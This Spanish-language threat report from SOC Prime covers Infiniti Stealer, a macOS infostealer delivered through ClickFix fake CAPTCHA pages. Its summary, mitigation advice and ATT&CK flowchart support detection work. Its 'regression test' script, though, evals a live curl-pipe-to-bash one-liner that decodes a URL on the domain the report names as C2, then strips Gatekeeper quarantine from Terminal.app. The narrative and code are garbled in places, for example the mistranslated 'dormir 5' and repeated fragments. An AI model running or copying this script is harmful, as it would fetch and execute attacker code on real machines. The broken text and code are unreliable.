SOC Prime Bias: Medio

30 Mar 2026 15:52

Infiniti Stealer: un nuevo infostealer para macOS que utiliza ClickFix y Python/Nuitka

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
Infiniti Stealer: un nuevo infostealer para macOS que utiliza ClickFix y Python/Nuitka
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Se ha identificado un nuevo infostealer para macOS llamado Infiniti Stealer que ha sido visto usando un engaño de ingeniería social llamado ClickFix para infectar a los usuarios. El malware está construido con Nuitka, que convierte el código Python en un binario Mach-O nativo, haciendo la inspección estática más difícil. Una vez ejecutado, roba credenciales, datos de Keychain, archivos de monederos de criptomonedas y otra información sensible, luego extrae los datos recopilados mediante solicitudes HTTP POST. La campaña también se basa en una página CAPTCHA falsa alojada en un dominio malicioso para engañar a las víctimas a ejecutar un comando Bash perjudicial.

Investigación

Los investigadores descubrieron la carga útil durante una caza rutinaria de amenazas y la rastrearon inicialmente bajo el nombre temporal NukeChain antes de que el panel del actor de amenazas expusiera la marca final como Infiniti Stealer. El análisis reveló un flujo de tres etapas: un dropper Bash entregado a través de un CAPTCHA falso, un cargador compilado con Nuitka, y un módulo de robo basado en Python. El dropper coloca el binario en /tmp, elimina el atributo de cuarentena y lo lanza pasando detalles del C2 a través de variables de entorno. La etapa final reúne datos de navegadores, Keychain, monederos y archivos relacionados con desarrolladores antes de enviarlos al servidor controlado por el atacante.

Mitigación

Los usuarios nunca deberían copiar y ejecutar comandos de sitios web desconocidos, especialmente de páginas que pretenden verificar desafíos CAPTCHA. Los defensores deben inspeccionar y eliminar archivos sospechosos en /tmp or ~/Library/LaunchAgents, ejecutar un escaneo anti-malware confiable, y rotar contraseñas para cualquier cuenta potencialmente expuesta desde un sistema limpio. También se deben revocar cualquier token API activo o claves SSH que puedan haber sido recopiladas.

Respuesta

Los equipos de detección deben monitorear el script de dropper y el binario compilado con Nuitka observando la creación de archivos en /tmp que coincide con el patrón de nombres descrito. Se deben activar alertas en la ejecución del comando Bash malicioso y en el tráfico HTTP POST saliente al dominio C2 identificado. El acceso a la red a update-check.com and infiniti-stealer.com debería ser bloqueado. Una revisión forense basada en el host debería entonces identificar credenciales robadas y respaldar reinicios de credenciales obligatorios.

"graph TB %% Class definitions section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef artifact fill:#cccccc classDef operator fill:#ff9900 %% Node definitions action_initial_access["<b>Acción</b> – <b>T1204.004 Ejecución de Usuario: Copiar y Pegar Malicioso</b><br/><b>Descripción</b>: La víctima copia y pega un comando malicioso en un terminal, lo que lleva a la ejecución de código."] class action_initial_access action artifact_captcha_page["<b>Artefacto</b> – <b>Página CAPTCHA falsa</b><br/>URL: update-check.com<br/>Proporciona el comando de copiaru2011pegar a la víctima."] class artifact_captcha_page artifact action_execution_dead_drop["<b>Acción</b> – <b>T1102.001 Servicio Web: Resolutivo de Carga Muerta</b><br/><b>Descripción</b>: Usa un servicio web como resolutivo de carga muerta para recuperar cargas adicionales."] class action_execution_dead_drop action process_curl_download["<b>Proceso</b> – <b>curl</b><br/><b>Comando</b>: curl -sSfL … | bash<br/>Descargas un dropper Bash de etapaun1."] class process_curl_download process artifact_temp_binary["<b>Artefacto</b> – <b>Binario temporal</b><br/>Ubicación: /tmp/<br/>La bandera de cuarentena se elimina después de la descarga."] class artifact_temp_binary artifact action_defense_evasion_sandbox["<b>Acción</b> – <b>T1497.002 Comprobaciones de Actividad del Usuario</b> & <b>T1497.003 Evasión Basada en Tiempo</b><br/><b>Descripción</b>: Detecta entornos de virtualización o análisis antes de proceder."] class action_defense_evasion_sandbox action action_guardrails["<b>Acción</b> – <b>T1480.002 Guardarraitles de Ejecución: Exclusión Mutua</b><br/><b>Descripción</b>: Asegura que solo una instancia se ejecute en el host."] class action_guardrails action action_file_deletion["<b>Acción</b> – <b>T1070.004 Eliminación de Archivos</b><br/><b>Descripción</b>: Elimina archivos temporales y registros después de su uso."] class action_file_deletion action action_obfuscation["<b>Acción</b> – <b>T1027.005 Archivos o Información Ofuscados</b><br/><b>Descripción</b>: Usa la ofuscación para ocultar cargas maliciosas."] class action_obfuscation action action_collection_input_capture["<b>Acción</b> – <b>T1056 Captura de Entrada</b><br/><b>Descripción</b>: Captura credenciales del navegador, entradas del llavero, datos del monedero de criptomonedas y capturas de pantalla."] class action_collection_input_capture action artifact_collected_data["<b>Artefacto</b> – <b>Datos Sensibles Recopilados</b><br/>Credenciales del navegador, entradas del llavero, archivos del monedero de criptomonedas, capturas de pantalla."] class artifact_collected_data artifact action_exfiltration_alternative["<b>Acción</b> – <b>T1048 Exfiltración sobre Protocolo Alternativo</b><br/><b>Descripción</b>: Envía datos mediante HTTP POST a un servidor remoto."] class action_exfiltration_alternative action artifact_c2_domain["<b>Artefacto</b> – <b>Dominio C2</b><br/>update-check.com"] class artifact_c2_domain artifact artifact_telegram_notification["<b>Artefacto</b> – <b>Notificación de Telegram</b><br/>El atacante recibe actualizaciones de estado a través de Telegram."] class artifact_telegram_notification artifact action_lateral_tool_transfer["<b>Acción</b> – <b>T1570 Transferir Herramientas Laterales</b><br/><b>Descripción</b>: Descarga cargas adicionales bajo demanda para compromisos futuros."] class action_lateral_tool_transfer action artifact_additional_payload["<b>Artefacto</b> – <b>Cargas Adicionales</b><br/>Descargadas según sea necesario para etapas posteriores."] class artifact_additional_payload artifact %% Connections showing flow action_initial_access –>|entrega| artifact_captcha_page artifact_captcha_page –>|activa| action_execution_dead_drop action_execution_dead_drop –>|usa| process_curl_download process_curl_download –>|escribe| artifact_temp_binary artifact_temp_binary –>|habilita| action_defense_evasion_sandbox action_defense_evasion_sandbox –>|incluye| action_guardrails action_defense_evasion_sandbox –>|incluye| action_file_deletion action_defense_evasion_sandbox –>|incluye| action_obfuscation action_file_deletion –>|elimina| artifact_temp_binary action_obfuscation –>|ofusca| artifact_temp_binary action_defense_evasion_sandbox –>|lleva_a| action_collection_input_capture action_collection_input_capture –>|captura| artifact_collected_data artifact_collected_data –>|enviado_mediante| action_exfiltration_alternative action_exfiltration_alternative –>|objetivos| artifact_c2_domain artifact_c2_domain –>|notifica| artifact_telegram_notification action_exfiltration_alternative –>|habilita| action_lateral_tool_transfer action_lateral_tool_transfer –>|descargar| artifact_additional_payload "

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La Verificación Previa de Telemetría y Línea Base debe haber pasado.

Narrativa de Ataque y Comandos

Un atacante entrega un enlace de phishing que, al abrirse en una estación de trabajo macOS, ejecuta la siguiente línea única en Terminal. El comando:

  1. Descargas una URL codificada en base64 (el host de la carga) mediante curl -sSfL.
  2. Descodifica la cadena base64 para revelar la URL HTTPS real.
  3. Ejecuta el script descargado con bash.
  4. Lo ejecuta bajo para mantenerlo vivo después de que el terminal se cierre. para mantenerlo vivo después de que el terminal se cierre. Elimina
  5. el atributo de cuarentena ( ) para evitar el Gatekeeper.) para evitar el Gatekeeper.) to bypass Gatekeeper.

Estos pasos producen los fragmentos exactos de la línea de comandos que la regla Sigma está observando, generando así la alerta esperada.

Script de Prueba de Regresión

#!/usr/bin/env bash
# ------------------------------------------------------------
# Simulación de infecciones por Infiniti Stealer (macOS)
# ------------------------------------------------------------

# 1. Construir la línea única maliciosa (exactamente como se espera en la regla)
MALICIOUS_CMD="bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode))"

# 2. Ayudantes de persistencia opcionales (incluidos en la detección)
MALICIOUS_CMD+=" && nohup bash -c "$MALICIOUS_CMD" >/dev/null 2>&1 &"
MALICIOUS_CMD+=" && xattr -dr com.apple.quarantine /Applications/Utilities/Terminal.app"

# 3. Ejecutar el comando
eval "$MALICIOUS_CMD"

# 4. Esperar unos segundos para permitir la ingestión de SIEM
dormir 5

# 5. Salida de un marcador para verificación manual
echo ">>> Simulación ejecutada – monitorear SIEM para alerta <<<"

Comandos de Limpieza

#!/usr/bin/env bash
# ------------------------------------------------------------
# Limpieza después de la simulación de Infiniti Stealer
# ------------------------------------------------------------

# Matar cualquier proceso de nohup en segundo plano iniciado por la simulación
pkill -f "bash <(curl -sSfL"

# Eliminar cualquier archivo temporal que pueda haberse creado
rm -f /tmp/$(ls /tmp | grep -E 'tmp|bash|curl' | head -n 1)

# Restaurar atributo de cuarentena en Terminal (opcional, para higiene)
xattr -w com.apple.quarantine "0081;5f4a9b2c;Safari;1234567890" /Applications/Utilities/Terminal.app 2>/dev/null || true

echo "Limpieza completada."

Fin del Informe